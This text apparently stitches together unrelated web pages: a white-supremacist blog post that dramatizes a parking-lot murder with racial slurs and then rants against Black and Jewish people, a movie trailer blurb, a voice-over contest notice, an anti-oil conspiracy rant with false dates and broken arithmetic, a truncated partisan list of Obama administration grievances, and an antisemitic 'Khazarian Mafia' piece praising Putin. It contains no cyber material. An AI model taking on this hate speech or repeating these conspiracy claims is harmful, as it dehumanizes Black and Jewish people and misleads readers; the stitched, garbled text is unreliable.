Still a bit new around here, the popular and outgoing jewelry designer enjoyed living out in pretty and California rural, El Dorado Hills — only about a half hour or so away from where she used to live in urban Sacramento. Khrista had simply become tired of the increasing crime and general crap out on the streets — every other week or so, it seemed like a friend or business associate was getting smacked around, robbed at gunpoint or worse. She hated some of the thinking she was now starting to do about black people. It was so uncool.
Unfortunately for Khrista, the very street crime she was escaping from, had tonight came all the way out here looking for her. And on her 31st birthday, no less.
Later, everybody would ask themselves how a psycho black guy got way out there from crime-ridden Oakland. Perhaps he stole a car and abandoned it after it ran out of gas, they wondered. Or maybe a drug dealer in the ‘hood gave one of his more troublesome acid customers a ride out into the countryside to get rid of him? What better place to dump his crazy black ass, but where a lot of white crackers lived? Might even be funny as hell giving him a full sheet of blotter and that cheap, stolen pistol a skinny old bruthaman traded him for some wack Belushi the other day, dopeman told himself.
The crazy nigga will surely stir up the shit in whitey land!
Whatever the case for his arrival in peaceful El Dorado Hills, a real-life crazy monster was now roaming loose on the streets. And that monster needed a car and some fast cash to get away before popo man sent out the black man-hunting snipers to shoot his black ass dead — just like he saw happen on TV in Ferguson.
When the tripped-out freak saw the two nice whitey girls happily stroll out of the clean suburban shopping mall restaurant, he knew they would have what he needed. All he had to do was scare them a little with the compact silver pistol his homie gave him earlier, right before driving off. But the two white bitches pretended like they couldn’t understand what he was saying and tried to run back to the restaurant.
So he angrily blasted away. The raysis ho’s both asked for it.
One stumbled, fell over and painfully tried to drag herself away, but only made it a few feet across the parking lot before she stopped moving. He didn’t know where the other screaming white ho got away to.
The pretty blond one was bleeding like crazy. As she lay crumbled up in a rapidly expanding pool of glistening blood, he could just make out her gurgling and wheezing as she tried to breathe in and out.
White girls sure do bleed a lot, he thought to himself.
He saw her fancy expensive purse down at her feet, now covered in blood. Picking it up, he got some of her nasty-ass ho blood on his hands. He quickly dug out the keys to the car and her money wallet. One of his bullets had punched out the car’s side window. No matter. But the keys wouldn’t open the car door. As he repeatedly stabbed at a button with a bloody finger, he kept hearing a chirping noise off somewhere. Ah, there it is, waiting for him right under a street lamp. Nice one, too.
At that very moment, Khrista’s vision red tunneled and her world went black forever.
The black man jumped right on in and sped off. He knew he had to get away fast. Surely, racist white police snipers were on the way.
He was soon driving the modest, aging, 2006 blue Subaru Legacy way too fast for the winding California hills. He didn’t even have the faintest idea of where he was at or where he was going. No more than five miles away, he lost control of the car and violently rolled it two or three times, ending up crashed in some cracker’s backyard.
But he wasn’t really hurt too bad. In a daze from the accident or something else he couldn’t remember doing, the black man knew he had better get his shit together before the snipers caught up to him again. It was all just like he saw in the movies. Maybe he was in a movie.
Right then, some dumbass whiteys came up to help him out of the wrecked car. Aren’t whites always pretending to act so nice and helpful to the black man before they stick you in the gut?
He didn’t know what happened to the pistol. Besides, he didn’t have any more bullets left after shooting at those two slutty white witches coming after his big black dick in that parking lot down the road. And he forgot what he did with that sharp knife he stole from a Whole Foods market last week.
Or else he would surely slay all these evil white demons now surrounding him, trying to keep a black man from living his life.
Too quickly, Five-0 showed up with red and blue lights flashing. When he tried to run off, a racist popo caught up to him, tackled him down to the ground and handcuffed his black ass.
But he had that happen to him before.
Now a lot of White people might read the above and think “gun control.” Unfortunately, they are missing the point entirely. In fact, gun control would hardly slow down violent black behavior in general. Chances are with the way White people follow the law, only black criminals would be the ones having guns.
Even more of us would simply end up as dead victims like Khrista above.
If by chance a black didn’t have a gun, they would still stab you in the gut, beat and kick you to death, smash your face in with a baseball bat or any convenient two-by-four, maybe even set you ablaze as him and homies stood around laughing.
Just take a few minutes to scroll down through my White victims photo montages up under my masthead and make note on how each of those people were killed. Do google searches on the names — whatever. That is, if the crime hasn’t already been quietly censored down the rabbit hole by now.
What you will rarely, if ever read, is that many of those White victims were killed simply because of the color of their skin. Isn’t that something that us Whites are continuously getting accused of? All the GD time?
Even little White children have been brutally murdered by blacks in a wide variety of gruesome, horrible ways. Blacks simply have no moral compunctions or empathy for any living creature. Take a look at how they treat animals, or behave among each other in Africa or Haiti to this very day, for crying out loud.
Blacks are indeed a brutal, ugly, rapidly devolving race. No two ways about it.
Us decent White people do NOT deserve these PC accusations of racism. Never have. Nor should we always have to see this race portrayed in the media as the world’s action heroes, the science saviors and high-tech experts, required news anchors or just the nice, regular guy winners. Even all the doctors in GD TV commercials are now black actors, for chrissakes. For it is this one race who most definitely do NOT deserve never-ending worship and adulation.
Ugly blacks would kill you or a loved one in a moment, sometimes even to get back at our race for perceived injustices that none of us had anything to do with. They hate us White people. They’ve been ceaselessly propagandized for decades now by Jewish owned Hollywood and TV (actually meant to instill White guilt in us so we don’t go all Nazi on their greedy, manipulative asses once again).
Hell, they freely make movies all the time jacking up blacks against Whitey. This week they released “Selma” and, like last season’s “12 Years a Slave,” are already excitedly telling us it will win major film awards like it’s a given.
Tell me: Are you not sick and tired of all this BS?
These morally filthy, racially selfish, Zionist Jews are ruining America and all the other White countries they live in and have media control.
Look at all the Muzzie terror BS going on in France this past week. Jewry as a race has worked for decades to allow such non-White immigration in the inner belief that the less of us White gentiles out there demographic-wise, the better it will be for Jewish power in the long run.
They have turned White people’s good graces against ourselves and it is surely killing our race. No doubt whatsoever.
Look into it, pay attention to everything going down these days and you’ll see.
— Phillip Marlowe
Popular and out-going, Khrista Ibarolle, is but another innocent victim of “hush” crimes against the White race. Remember what happened to her, could happen to any of us tomorrow in today’s “wonderfully diverse” America.
THANKS, JEWS.
Like this: Like Loading...For all intents and purposes, Saturday Night Live has become comedy college. Stand-ups and improvs put in hours of work and pad their extracurricular CV in the hopes of a letter of acceptance to the storied feeder institution, a successful future of wacky-best-friend supporting roles in studio comedies all but assured. But even comedy college goes on summer vacation, leaving its students to busy themselves elsewhere. Many cast members fill those dog days of summer by appearing in low-rent ensemble indie comedies; not too long ago, the likes of Kate McKinnon, Jay Pharaoh, and Beck Bennett lightened up the surprisingly funny Balls Out.
Staten Island Summer, a new comedy coming to Netflix later this month, might as well be Weekend Update anchor Colin Jost’s “What I Did On My Summer Vacation” essay. A Staten Island native himself, he penned the script based on his own experiences as a lifeguard and the kooky characters that crossed his path. He and director Rhys Thomas called in every available favor from SNL, wrangling Fred Armisen as a flamethrowing groundkeeper, Bobby Moynihan as a slacker lifeguard, Mike O’Brien as their be-speedoed manager, and a host of other familiar faces. The plot looks fairly routine, following a pair of incorrigibly horny teens as they attempt to throw the most epic rager of all time in order to attain that mythical holy grail of young manhood, gettin’ some. Down a shot of Jaeger and watch the trailer below:
The trail of the tape
Title: Staten Island Summer
Director: Rhys Thomas
Screenwriter: Colin Jost
Cast: Graham Phillips, Zack Pearlman, Mike O’Brien, Bobby Moynihan
Release date: July 31, 2015
The entire trailer in one line of dialogue: “Remember, A-B-C: Always Be Safe.”
The entire trailer in one screengrab:
It’s difficult to know what to make of this one. The trailer is disappointingly broad, playing up the boobs-’n’-mischief elements of this teen raunchfest. But the advertising campaign for Balls Out (a studio-mandated title, swapped in for the original Intramural) took a similar tack, playing the inspired absurdity as lowest-common-denominator easy shots. With so many talented performers in this mix, it can’t possibly be as poor as the trailer makes it look, right? But even in the worst-case scenario, we’ll still have flamethrower-wielding Fred Armisen.The voice you hear when you call
Voice123 has a new voice mail message today from voice over talent Jon Carter, the voice you will now hear when you call us. Now, the Voice123 phone system has a message that is fun to hear!
Click here for his hilarious voice message!
Jon was selected from over 50 auditions received in our contest to find a new voice. If you wish to see the audition inbox, click here. The Voice123 Team decided that the auditions were so great, that we should rotate a new voice message periodically. This means we will save the current auditions, and possibly post another contest in the future. All selected winners get a 3-month premium subscription to Voice123. You can follow announcements on Twitter, Facebook, LinkedIn, and Google+.
Big thank you to everyone who auditioned! We will notify you if you are selected to be in the rotation of phone system voices!
Which phone prompt is your favorite from the audition inbox?Paris has become the stage for today’s greatest issues to strut their stuff: terrorism, fossil fuels, oil, global warming. Today we must confront our own misdeeds, stop being in denial and unite together to fight the causes of terror, global warming and the well funded intellectual corruption, and stupidity that darkens our world. We just need to Say Goodbye to Fossil Fuel; killing so many ravens with one stone—just by saying “nevermore.”
People who try and promote an energy policy built upon fossil fuel are, to put it simply, just plain bad people. There’s no way around that. That is not to say that oil executives are bad people, they are doing what any executive must do: make a profit, using any legal tools available.
So who are the bad guys?
Standard Oil (now Exxon) who supported and banked on Hitler winning the War—so that they could conduct business without regulation.
Standard Oil’s allies in this process, Prescott Bush, Brown Brothers Harriman, and the pre-CIA intelligence services.
The 1953 coup of the democratically elected Iranian president (over oil)–leading to today’s animosity.
Oil, Yalies funding CIA operations against Cuba, Bush Sr. involvement.
The 1963 JFK assassination. Bush connection.
John F Kennedy, the 35th president of United States was assassinated while riding a motorcade in Dallas on 22 November 1965. He was soon rushed to parkland memorial hospital where he was declared dead after 30 minutes of shooting. To know more about JFK click on the link what is it worth.
The CIA Watergate framing of Nixon. Bush connection.
Delayed Iranian hostage release.
1980’s energy policy—Bush/Cheney.
1992 Whitewater nonsense instigated by Bush Sr.
2000 – 2008 Bush Jr./Cheney energy policies.
Six trillion dollars wasted on Bush/Cheney Middle Easter wars.
Radicalization of Islam, Al Qaeda, ISIS; Pakistan acquiring the Bomb.
Oh, and global warming.
So how can I prove that oil corrupts the US political process?
Thirty-one Republicans on the House Energy and Commerce Committee—the entire Republican contingent on the panel—declined to vote in support of the very idea that climate change exists.
Republican House Committee on Energy and Commerce
What are the odds that every Stupidparty member on the energy committee has below average intelligence? It would be the same as tossing a coin and getting heads thirty one times in a row: (½) * 31= 0.00000000047 or one chance in 47,000,000,000. So, since that scenario is highly unlikely, the answer must be that these people have been corrupted by money, dirty oil for blood money. In 2014, energy interests spent $140,000,000 to corrupt our leaders and 2014 is not even a key election year:
Contributions of oil industry to Republican campaigns
But what happens when the oil interests suffer?
Prices plummet (you must figure out what is the obvious thing to do at this point, to ensure that the laws of demand v. supply do not undo all the good).
Russian aggression controlled, stability in Ukraine; Eastern Europe, a likely ally in Syria.
Iranian imperialism mitigated.
Funds to Middle Eastern enemies reduced.
Human rights issues would not have to be ignored in places like Saudi Arabia.
Canada regains its moral integrity–chucking out oil-backed Harper.
Oh, and global warming gets mitigated*; being a mere existential threat to mankind.
*Don’t agree? Well unless you are a climatologist your opinion is hardly relevant.
So today is a good day—oil has lost more than half its value and, despite forecasts to the contrary, prices have stayed depressed. Some believe that that is bad for the economy, others that it will yet bounce back. They say that when oil becomes cheaper, the alternatives will suffer. But how do we suffer such insufferable orthodoxy? How can more expensive energy be good for an economy? It can only be good for the bad guys. It turned the USA into a villain—it corrupts anything it touches.
But back to now—a golden opportunity presents itself—one last chance for redemption. Why would the price of oil bounce |
24/03/2009 Despite receiving a warning from a donor not to do so, Obama visited Solyndra, touting it as a model for government-driven clean energy/job creation. The company laid off its entire workforce less than a year later. The Washington Post
417 U.S. Dept. of Energy 10/02/2011 Range Fuels, which received $80 million in stimulus funds, went bankrupt. The Wall Street Journal
418 U.S. Dept. of Energy 10/06/2011 Stirling Energy Systems, which received $7 million in stimulus funds, went bankrupt. Renewable Energy Focus
419 U.S. Dept. of Energy 18/07/2011 Green Vehicles Inc., which received $700,000 in stimulus funds, went bankrupt. NewsBusters
420 U.S. Dept. of Energy 15/08/2011 Evergreen Solar, which received $24 million in stimulus funds, went bankrupt. Wikipedia
421 U.S. Dept. of Energy 23/08/2011 The Energy Department decreed that its rules governing urinal efficiency shall preempt state urinal rules. Government Printing Office
422 U.S. Dept. of Energy 24/08/2011 SpectraWatt, which received $500,000 in stimulus funds, went bankrupt. CNET
423 U.S. Dept. of Energy 31/08/2011 Solyndra, which was run by an Obama campaign supporter and received more than half a billion in stimulus funds, went bankrupt. The Washington Post
424 U.S. Dept. of Energy 10/09/2011 Olsen's Crop Service, which received $10 million in stimulus funds, went bankrupt. Fox News
425 U.S. Dept. of Energy 02/10/2011 Nevada Geothermal Power, which received $145 million in stimulus, went bankrupt. The New York Times
426 U.S. Dept. of Energy 04/10/2011 National Renewable Energy Lab, a non profit that received $200 million in stimulus failed, soon thereafter laid off 10 percent of its workforce. The Daily Caller
427 U.S. Dept. of Energy 11/10/2011 Just as the Dept. of Energy's loan program was set to expire, SunPower received a $1.2 billion loan, which provided the politically connected insiders to cash out. Human Events
428 U.S. Dept. of Energy 17/10/2011 Obama's Dept. of Energy invested hundreds of millions in Tesla Motors, which was owned by one of his donors. PJMedia
429 U.S. Dept. of Energy 19/10/2011 Mountain Plaza Inc., which received almost half a million in stimulus funds, went bankrupt. The Blaze
430 U.S. Dept. of Energy 20/10/2011 Raser Technologies, which received $33 million in stimulus funds, went bankrupt. BreakingEnergy.com
431 U.S. Dept. of Energy 26/10/2011 Obama's Dept. of Energy gave a $527 million loan to Al Gore connected Fisker Automotive -- which used the funds to create jobs... in Finland. The National Center for Public Policy Research
432 U.S. Dept. of Energy 26/10/2011 Obama's Dept. of Energy invested almost half a billion in the Al Gore connected Silver Spring Networks, a smart grid contractor that's since laid off much of its workforce. The National Center for Public Policy Research
433 U.S. Dept. of Energy 01/11/2011 Beacon Power, which received $43 million in stimulus funds, went bankrupt. The Wall Street Journal
434 U.S. Dept. of Energy 02/12/2011 A123 Systems, which received stimulus funds as well as a personal Obama visit, failed. The Ann Arbor News
435 U.S. Dept. of Energy 17/01/2012 Willard & Kelsey Solar Group, which received $6 million in stimulus funds, went bankrupt. The Toledo Blade
436 U.S. Dept. of Energy 14/02/2012 Energy Conversion Devices, which received $13.3 million in stimulus funds, went bankrupt. Wikipedia
437 U.S. Dept. of Energy 15/02/2012 Unisolar, which received $100 million in stimulus funds, went bankrupt. Renewables International
438 U.S. Dept. of Energy 22/02/2012 Sapphire Energy, which received $100 million in stimulus funds, created... 36 jobs. The Washington Free Beacon
439 U.S. Dept. of Energy 29/02/2012 Abound Solar, which received stimulus funds and a shoutout from Obama, went bankrupt. The Daily Signal
440 U.S. Dept. of Energy 14/03/2012 Obama's Dept. of Energy doled out favors to the politically connected Pacific Gas (a number of employees have cycled in and out of the Obama Admin.). The Washington Free Beacon
441 U.S. Dept. of Energy 28/03/2012 Azure Dynamics, which received $120 million in stimulus funds, went bankrupt. AutoBlog
442 U.S. Dept. of Energy 30/03/2012 Ener1, which received $118.5 million in stimulus funds, went bankrupt. Wikipedia
443 U.S. Dept. of Energy 02/04/2012 Solar Trust, which was offered $2.1 billion in stimulus funds, went bankrupt before it could accept them. Reuters
444 U.S. Dept. of Energy 13/04/2012 BrightSource Energy, which received $1.6 billion in stimulus funds, canceled its IPO and all U.S. related projects. The Washington Free Beacon
445 U.S. Dept. of Energy 22/05/2012 Obama's Dept. of Energy granted Reliant Energy, a $1.237 billion loan; the company's run by the husband of an Obama bundler. The Washington Free Beacon
446 U.S. Dept. of Energy 30/05/2012 First Solar, a politically connected company that received more than $3 billion in stimulus funds, soon thereafter laid off 30 percent of its workforce (as well as sold solar panels to itself). The Washington Free Beacon
447 U.S. Dept. of Energy 24/06/2012 Genesis Poly, which received $500,000 in stimulus funds, went bankrupt -- twice. HotAir
448 U.S. Dept. of Energy 17/07/2012 Thompson River Power, which received $5 million in stimulus funds, went bankrupt. The Wall Street Journal
449 U.S. Dept. of Energy 12/09/2012 Greenvolts, which received $500 in stimulus funds, went bankrupt. Forbes
450 U.S. Dept. of Energy 18/10/2012 Australian company Babcock & Brown, which received $178 million in stimulus funds, went bankrupt. PJMedia
451 U.S. Dept. of Energy 18/10/2012 Armonix, which received $6 million in stimulus funds, is faltering. PJMedia
452 U.S. Dept. of Energy 18/10/2012 Satcon Technology Corp., which was granted $6 million in stimulus funds, went bankrupt. Fox News
453 U.S. Dept. of Energy 19/10/2012 Nordic Wind Power, which received $16 million in stimulus funds, went bankrupt. Kansas City Business Journal
454 U.S. Dept. of Energy 19/10/2012 Korean owned Compact Power received $150 million in stimulus funds and a visit from Obama; it soon thereafter began furloughing workers before having produced a single battery (it's workers reportedly spend their days playing cards). HotAir
455 U.S. Dept. of Energy 15/01/2013 Two high tech electric car companies sued the Department of Energy, accusing it having passed them over for loans in favor of politically connected, but less promising, Fisker Automotive (which later went bankrupt). The DoE was also accused of passing along the car companies' patented technology. The Washington Free Beacon
456 U.S. Dept. of Energy 16/05/2013 Navistar's estar electric van, which was introduced after a $40 million in stimulus funds, was discontinued in 2013. Trucking Info
457 U.S. Dept. of Energy 10/06/2013 In violation of anti-nepotism rules, more than a dozen Energy Department officials arranged summer jobs for their kids at the department. The Associated Press
458 U.S. Dept. of Energy 12/06/2013 The Dept. of Energy decided to give $100 million to an over-budget clean energy project after a Democratic donor, James Croyle, got involved. The Washington Free Beacon
459 U.S. Dept. of Energy 16/09/2013 ECOtality, which received $126.2 million in stimulus funds, went bankrupt. Wikipedia
460 U.S. Dept. of Energy 22/11/2013 Fisker Automotive, which received $192 million in stimulus funds, went bankrupt. The Energy and Commerce Committee
461 U.S. Dept. of Energy 27/11/2013 The Department of Energy dumped at least $259 million into a uranium company that admitted being near bankruptcy and having no business plan before finally going bankrupt. The Washington Examiner
462 U.S. Dept. of Energy 26/01/2015 Obama began bragging about low gas prices, despite actually attempting to raise them. The Washington Examiner
463 U.S. Dept. of Health and Human Services 03/02/2009 Obama's first pick for HHS, Tom Daschle, quit after it was revealed he hadn't paid all of his taxes; Obama, however, had urged him to remain. NBC News
464 U.S. Dept. of Health and Human Services 18/06/2009 Polls showed Americans hated ObamaCare even more than HillaryCare Pew Research Center
465 U.S. Dept. of Health and Human Services 10/07/2009 ObamaCare amendments that would have banned rationing health care were blocked. The Daily Signal
466 U.S. Dept. of Health and Human Services 20/07/2009 Obama sought to repeal (outside of Congress) ERISA, a law ensuring large companies can manage their employees under one set of rules, as opposed to 50. The Wall street Journal
467 U.S. Dept. of Health and Human Services 21/07/2009 Obama touted the Mayo Clinic as an example of what ObamaCare can accomplish; the Mayo Clinic trashed ObamaCare. The Washington Times
468 U.S. Dept. of Health and Human Services 22/07/2009 Obama regularly claimed 47 millions were insured while pitching ObamaCare. The real number was closer to 8 million. The American Spectator
469 U.S. Dept. of Health and Human Services 28/07/2009 Americans lost five specific freedoms with ObamaCare (freedom to choose what's in your plan; the freedom to be rewarded for living a health life; the freedom to choose high-deductible coverage; the freedom to keep your existing plan, and the freedom to choose your doctors). Fortune
470 U.S. Dept. of Health and Human Services 01/01/2010 Despite promising ObamaCare hearings would be televised, CSPAN was denied access during final meetings. ABC News
471 U.S. Dept. of Health and Human Services 12/02/2010 Obama crafted a secret deal with the pharmaceutical industry in order to get ObamaCare passed. The Sunlight Foundation
472 U.S. Dept. of Health and Human Services 23/03/2010 ObamaCare effectively banned physician-owned hospitals (which have a strong track record). Forbes
473 U.S. Dept. of Health and Human Services 23/03/2010 Breaking a promise that ObamaCare would let you keep your plan if you like, ObamaCare specifically outlawed a broad swath of existing plans. (Politifact even named this its 2012 Lie of the Year.) Politifact
474 U.S. Dept. of Health and Human Services 23/03/2010 ObamaCare violates the First Amendment (which protects religious liberty). The Wall Street Journal
475 U.S. Dept. of Health and Human Services 23/03/2010 Obama promised not to levy a tax on the uninsured; ObamaCare broke that promise. Keith Hennessey
476 U.S. Dept. of Health and Human Services 24/03/2010 ObamaCare includes $10 billion for... the United Auto Workers. Foundation for Economic Education
477 U.S. Dept. of Health and Human Services 14/10/2010 Obama's secretary of the HHS, Kathleen Sebelius, threatened to put out of business insurance companies that communicated with their clients about the potential impact of ObamaCare. The Daily Signal
478 U.S. Dept. of Health and Human Services 24/11/2010 Even as one arm of the HHS was telling Americans to restrict fat, sugar, and salt, the HHS spent $776,000 to open an International House of Pancakes in an affluent neighborhood in Washington, D.C. The Competitive Enterprise Institute
479 U.S. Dept. of Health and Human Services 21/12/2010 ObamaCare requires insurers to "justify" to bureaucrats increases over 10 percent. The New York Times
480 U.S. Dept. of Health and Human Services 25/12/2010 Obama used an executive order to reinsert an "end of life" provision of ObamaCare that was so unpopular it had to be stripped for the bill to pass. The New York Times
481 U.S. Dept. of Health and Human Services 06/01/2011 The Obama Admin. cooked the books to show ObamaCare reduces the size of government. The American Spectator
482 U.S. Dept. of Health and Human Services 02/02/2011 Within the first year, Obama's HHS granted 733 waivers from ObamaCare -- almost all to political allies. The Wall Street Journal
483 U.S. Dept. of Health and Human Services 17/02/2011 Obama's HHS let four states avoid ObamaCare's most punitive provisions. The New York Times
484 U.S. Dept. of Health and Human Services 28/02/2011 Even Democratic governors sought an escape hatch from ObamaCare. The Wall Street Journal
485 U.S. Dept. of Health and Human Services 12/03/2011 Even the liberal CEO of Starbucks, Howard Schultz, attacked ObamaCare's onerous effects on small business. The Seattle Times
486 U.S. Dept. of Health and Human Services 17/05/2011 Nearly 20 percent of ObamaCare's early waivers webnt to restaurants, nightclubs, and fancy hotels in Nancy Pelosi's district. The Daily Caller
487 U.S. Dept. of Health and Human Services 07/06/2011 HHS granted hundreds of ObamaCare "waivers" to political allies -- despite having no formal power to do so. The Daily Caller
488 U.S. Dept. of Health and Human Services 27/06/2011 ObamaCare arranged for the hiring of spies to investigate private doctors. The New York Times
489 U.S. Dept. of Health and Human Services 09/07/2011 ObamaCare immunizes the Independent Payment Advisory Board from lawsuits resulting from the way its decisions impact patients. The Daily Caller
490 U.S. Dept. of Health and Human Services 23/07/2011 Obama sold ObamaCare promising Americans could keep their current doctors; that quickly proved untrue. Human Events
491 U.S. Dept. of Health and Human Services 04/02/2012 Only a month into his presidency, Obama broke his promise not to raise taxes, raising taxes on cigarettes more than 100 percent (a regressive tax that hits poor Americans hardest). Wikipedia
492 U.S. Dept. of Health and Human Services 25/02/2012 Obama changed his argument defending ObamaCare's constitutionality as soon as it became a Supreme Court case. The Daily Signal
493 U.S. Dept. of Health and Human Services 07/03/2012 Starting in 2012, ObamaCare began severely restricting the use of highly popular health savings accounts and flexible spending accounts (HSAs and FSAs). The Daily Signal
494 U.S. Dept. of Health and Human Services 07/03/2012 ObamaCare created an entirely new tax on investments. The Daily Signal
495 U.S. Dept. of Health and Human Services 07/03/2012 ObamaCare created a new, actuarially unsound longterm entitlement called the CLASS program. The Daily Signal
496 U.S. Dept. of Health and Human Services 07/03/2012 ObamaCare makes more than half of the American population dependent on government through its expansion of Medicaid and subsidies. The Daily Signal
497 U.S. Dept. of Health and Human Services 07/03/2012 ObamaCare puts Medicare decisions in the hands of an unelected, unaccountable board. The Daily Signal
498 U.S. Dept. of Health and Human Services 07/03/2012 ObamaCare violates religious liberty, requiring religious charities, for example, to pay for abortion-inducing drugs and a full range of contraceptives. The Daily Signal
499 U.S. Dept. of Health and Human Services 07/03/2012 ObamaCare creates a new marriage penalty (as two individuals receive higher subsidies than a married couple). The Daily Signal
500 U.S. Dept. of Health and Human Services 07/03/2012 ObamaCare takes an increasing chunk out of middle class wallets as a tax set for families earning over $250K is not indexed for inflation. The Daily Signal
501 U.S. Dept. of Health and Human Services 26/03/2012 ObamaCare violated existing federal laws (by conferring benefits on same-sex couples). The Washington Post
502 U.S. Dept. of Health and Human Services 09/04/2012 Obama's HHS secretary, Kathleen Sebelius, violated the Hatch Act, which forbids participation in campaigning. She went unsanctioned. The Washington Free Beacon
503 U.S. Dept. of Health and Human Services 11/04/2012 Despite Obama's promises, ObamaCare expands the deficit, not reduces it. Forbes
504 U.S. Dept. of Health and Human Services 03/05/2012 ObamaCare funds pet neutering and bike lanes. The Hill
505 U.S. Dept. of Health and Human Services 02/06/2012 ObamaCare funds were used to give business to Obama's senior adviser, David Axelrod. The Wall Street Journal
506 U.S. Dept. of Health and Human Services 08/08/2012 HHS waived welfare reform's work requirements -- despite having no legal authority to do so The Daily Signal
507 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposes a tax on health insurance providers based on their share of the market. The Daily Signal
508 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposes a tax on Americans who do not want health insurance. The Daily Signal
509 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposes a tax on drug manufacturers/importers based on their market share. The Daily Signal
510 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare lowered the medical expenses deduction. The Daily Signal
511 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposed a tax on retirees' prescription expenses (via the elimination of a corporate deductions). The Daily Signal
512 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare raised taxes on health insurance companies by limiting the amount of compensation that can be deducted. The Daily Signal
513 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposed a tax on BlueCross/BlueShield by removing their special deduction. The Daily Signal
514 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposed a tax on indoor tanning services. The Daily Signal
515 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposed a tax on self-insured health plans. The Daily Signal
516 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposed another tax on HSAs/FSAs by reducing the number of allowable purchases. The Daily Signal
517 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare raised the tax/penalty for puchasing disallowed products with HSAs The Daily Signal
518 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare raised corporate taxes by making it harder for companies to use business activities that reduce their liabilities. The Daily Signal
519 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposed a tax on unprocessed fuels. The Daily Signal
520 U.S. Dept. of Health and Human Services 20/08/2012 ObamaCare imposes a tax on employers that do not offer health coverage. The Daily Signal
521 U.S. Dept. of Health and Human Services 11/09/2012 Obama's HHS has attempted to ban smoking on college campuses. The Daily Caller
522 U.S. Dept. of Health and Human Services 14/09/2012 The Obama Admin. paid Hollywood to promote ObamaCare in TV shows. The New York Times
523 U.S. Dept. of Health and Human Services 01/01/2013 On this date, Americans who use medical devices were forced to start paying another ObamaCare-related tax. The Daily Signal
524 U.S. Dept. of Health and Human Services 10/01/2013 Obama's HHS conducted an exhaustive, years-long study into the efficacy of Head Start; the results showed that, if anything, it hurts children's progress; Obama pledged to expand the program anyway. The Heritage Foundation
525 U.S. Dept. of Health and Human Services 05/03/2013 ObamaCare moved much of the middle class into a welfare program originally meant for the very poor. The Heritage Foundation
526 U.S. Dept. of Health and Human Services 31/05/2013 An HHS website for girls 10-16 taught them about "mutual masterbation" as well as gay sex and birth control. CNS News
527 U.S. Dept. of Health and Human Services 23/09/2013 Former Obama campaign staffers have since admitted that the idea for ObamaCare came when they needed something to talk about during an education speech. HotAir
528 U.S. Dept. of Health and Human Services 29/10/2013 ObamaCare does not view races equally under the law. The Competitive Enterprise Institute
529 U.S. Dept. of Health and Human Services 06/11/2013 A San Francisco couple donated to and volunteered for the Obama campaign; a year later ObamaCare canceled their insurance plans. ProPublica
530 U.S. Dept. of Health and Human Services 20/11/2013 An estimated 87 percent of ObamaCare waivers went to Obama's allies and supporters. Newsmax
531 U.S. Dept. of Health and Human Services 25/11/2013 ObamaCare forbids insurance companies from considering drug abuse when setting their clients insurance premiums. Fox News
532 U.S. Dept. of Health and Human Services 25/11/2013 ObamaCare forbids insurance companies from considering alcoholism when setting their clients insurance premiums. Fox News
533 U.S. Dept. of Health and Human Services 25/11/2013 ObamaCare encourages insurance companies to charge smokers more (apparently being a less acceptable vice than drinking or using drugs). Fox News
534 U.S. Dept. of Health and Human Services 22/12/2013 After failing to win carveouts for unions in ObamaCare itself, Obama used an executive order to exempt unions from fees other large employers pay. Forbes
535 U.S. Dept. of Health and Human Services 01/01/2014 On this date, ObamaCare began taxing full coverage insurance plans (perversely raising premiums and encouraging Americans to seek worse care). The Daily Signal
536 U.S. Dept. of Health and Human Services 01/01/2014 On this day, ObamaCare partially defunded a popular Medicare home health care program. The Washington Examiner
537 U.S. Dept. of Health and Human Services 25/07/2014 ObamaCare architect Jonathan Gruber said the federal exchanges were designed to prevent people in conservative states resisting the Affordable Care Act from buying health insurance. The New Republic
538 U.S. Dept. of Health and Human Services 26/02/2015 ObamaCare extempted Congress and their staff; a federal judge recently upheld the carveout. The Washington Times
539 U.S. Dept. of Health and Human Services 22/06/2015 After videos exposed Jonathan Gruber saying ObamaCare passed thanks to "the stupidity of the American people," the White House insisted he did not have an officiRussian President Vladimir Putin is said to have uttered these bold words in front of a recent gathering inside the Kremlin. This statement is a response to Jacob Rothschild’s calling him a “traitor to the New World Order.”
Born and raised within the sphere of political influence, Putin is a bonafide member of the New World Order.. As a KGB agent he is exposed to the ways of the underworld.
But he is foremost a Russian who when called to save his country by a repentant Boris Yeltsin, he obliged so with flying colors.
He forced the migration of oligarchs into Rothschild’s City of London after the latter were found to have been leeching Russian resources in favor of the Khazarian Mafia. He has kicked out embedded Nazionist agents cloaking as NGOs through strict legislation and enforcement.
Companies like McDonald’s are being required to improve their products and services or be kicked out from his motherland. He has rallied the nation to withstand the effects of economic sanctions by strengthening domestic resources like organic farming and repel the deliberate attacks on the ruble and gas prices by purchasing tons of gold bars and sealing the biggest energy deal with China.
Judging from all his geopolitical decisions and actions so far, we can safely say that he’s definitely on the right track especially in Syria and Iran.
By convincing Syria to destroy its chemical arsenal with a commitment of protecting the Arab country at all cost, Putin has averted the globalist plan to lay a pipeline across Syria that would further empower the enemy of humanity.
Just yesterday, 1,093 more terrorist camps including those “housing experienced instructors” were destroyed via 302 air force sorties.
By forcing Iran and Washington to sit on the negotiation table, Israel’s Likud Party and the rest of the Nazionist factions are put on a defensive corner of geopolitics.
Of course, these BRICS leaders still want to exercise some level of control on their population, but they are not deterring anyone on the road to individual freedom either. They are just laying the groundwork for a collective effort to a better future, something that the next generations can build upon.
A level playing field in the realm of economics and geopolitics is what they are aiming for. It is up to us to remove the motivation for human exploitation completely.
Those who have redefined the word Illuminati from being enlightened to “exceptionalists”, i.e. the privileged few who believe that certain rules don’t apply to them, must be fully neutralized.
One of the significant sources of funds for the fascist Nazionist Jesuit Khazarian Mafia is the healthcare industry which registered a whopping $3.09 trillion in 2014, and is projected to soar to $3.57 trillion in 2017, in the US alone.
